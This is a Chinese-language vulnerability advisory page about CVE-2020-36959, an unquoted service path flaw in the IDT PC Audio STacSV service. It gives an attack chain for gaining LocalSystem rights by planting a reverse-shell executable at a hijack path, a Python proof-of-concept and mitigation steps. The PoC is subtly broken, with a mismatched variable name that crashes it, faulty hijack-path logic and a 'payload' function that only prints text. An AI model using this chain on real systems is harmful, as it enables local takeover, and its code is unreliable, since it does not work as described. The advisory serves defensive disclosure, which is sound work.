IPBUF安全漏洞报告
English
CVE-2020-36959 CVSS 7.8 高危

CVE-2020-36959 IDT PC Audio STacSV服务未引号路径提权漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36959
漏洞类型
未引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IDT PC Audio (STacSV服务)

相关标签

未引号服务路径本地提权IDT PC AudioSTacSVWindows服务漏洞路径劫持权限提升CVE-2020-36959

漏洞概述

CVE-2020-36959是IDT PC Audio 1.0.6499.0版本中存在的一个高危本地提权漏洞。该漏洞源于STacSV Windows服务的可执行文件路径未使用双引号包裹,导致路径解析存在歧义。当系统尝试启动该服务时,如果路径中包含空格,Windows会从第一个空格处截断路径并尝试执行该位置的程序。攻击者可以在服务路径的中间位置放置恶意可执行文件,利用Windows服务启动时的权限提升特性,使恶意代码以LocalSystem账户的高权限执行,从而获得系统完全控制权。此类漏洞通常被称为「路径劫持」或「服务路径注入」漏洞,攻击者无需远程网络访问权限,仅需在目标系统上具有低权限用户身份即可实施攻击。

技术细节

未引号服务路径漏洞(Unquoted Service Path)是一种Windows本地权限提升技术。当Windows服务配置的可执行文件路径未使用双引号包裹且路径中包含空格时,服务控制管理器(Service Control Manager)在启动服务时会从左到右解析路径,并在遇到第一个空格时停止,然后尝试查找并执行该位置的程序。例如,如果服务路径为C:\Program Files\IDT PC Audio\STacSV.exe,由于未使用引号,Windows会首先尝试执行C:\Program.exe,如果该文件存在则会被优先执行。攻击者可以通过在C:\目录放置名为Program.exe的恶意程序,或在C:\Program Files\目录放置名为IDT.exe的恶意程序来实现代码执行。由于Windows服务通常以LocalSystem账户运行,恶意代码也将以最高系统权限执行,从而实现权限提升。攻击者需要具备在目标系统目录写入文件的权限,且服务必须可重启或系统可重启才能触发漏洞利用。

攻击链分析

STEP 1
1. 信息收集
攻击者通过系统侦察识别目标系统上安装的IDT PC Audio软件及其版本,确认STacSV服务存在
STEP 2
2. 路径分析
使用sc qc或WMIC命令查询STacSV服务的可执行文件路径,发现路径未使用引号包裹且包含空格
STEP 3
3. 劫持点识别
分析路径中的空格位置,确定可被劫持的中间路径,例如C:\Program.exe或C:\Program Files\IDT.exe
STEP 4
4. 恶意程序部署
将精心构造的恶意可执行文件(如反弹shell木马)写入识别出的可劫持路径位置
STEP 5
5. 服务触发
等待或诱导系统重启、服务更新或手动重启STacSV服务,使服务控制管理器加载并执行恶意程序
STEP 6
6. 权限提升
恶意代码以LocalSystem账户权限执行,攻击者获得系统完全控制权,可进一步进行持久化控制、数据窃取或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2020-36959 PoC - IDT PC Audio STacSV Unquoted Service Path This script checks for the vulnerable service path and demonstrates exploitation. Note: This is for educational and authorized testing purposes only. """ import subprocess import os import sys def check_vulnerable_path(): """ Check if the STacSV service has an unquoted path with spaces. Typical vulnerable path: C:\Program Files\IDT Corporation\IDT PC Audio\STacSV.exe """ try: # Query the STacSV service configuration using WMIC or sc command result = subprocess.run( ['sc', 'qc', 'STacSV'], capture_output=True, text=True, timeout=30 ) if result.returncode == 0: output = result.stdout print("[+] STacSV service found") # Extract BINARY_PATH_NAME for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Current path: {path}") # Check for unquoted path with spaces if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Path contains spaces without quotes") # Parse path components path_parts = path.split('\\') potential_Hijack_points = [] current_path = "" for i, part in enumerate(path_parts[:-1]): if i == 0: current_path = part else: current_path += "\\" + part # Check if current path contains spaces (potential hijack point) if ' ' in current_path and '.' not in part: exe_name = path_parts[i + 1].split()[0] # Get first part before space hijack_path = current_path + "\\" + exe_name + ".exe" potential_Hijack_points.append(hijack_path) print(f"[!] Potential hijack points: {potential_hijack_points}") return True else: print("[-] STacSV service not found or access denied") return False except Exception as e: print(f"[-] Error: {e}") return False def generate_payload(target_path): """ Generate a simple reverse shell payload for demonstration. In real attack, this would be a malicious executable. """ print(f"[!] To exploit, place a malicious executable at one of the hijack points") print(f"[!] Example: Copy malicious.exe to {target_path}") print("[!] When service restarts, the malicious code will execute as SYSTEM") if __name__ == "__main__": print("=" * 60) print("CVE-2020-36959 - IDT PC Audio STacSV Unquoted Service Path") print("=" * 60) if os.name == 'nt': vulnerable = check_vulnerable_path() if vulnerable: print("\n[!] System is vulnerable to CVE-2020-36959") else: print("[-] This PoC only works on Windows systems")

影响范围

IDT PC Audio 1.0.6499.0及之前版本

防御指南

临时缓解措施
立即为STacSV服务路径添加双引号,使用命令:sc config STacSV binpath= "\"完整路径\""(注意binpath=后有空格)。同时检查并限制C:\Program Files\IDT Corporation\IDT PC Audio\目录的写入权限,移除非管理员用户的写权限。如无法立即修复,可考虑禁用或卸载IDT PC Audio软件,直至官方发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表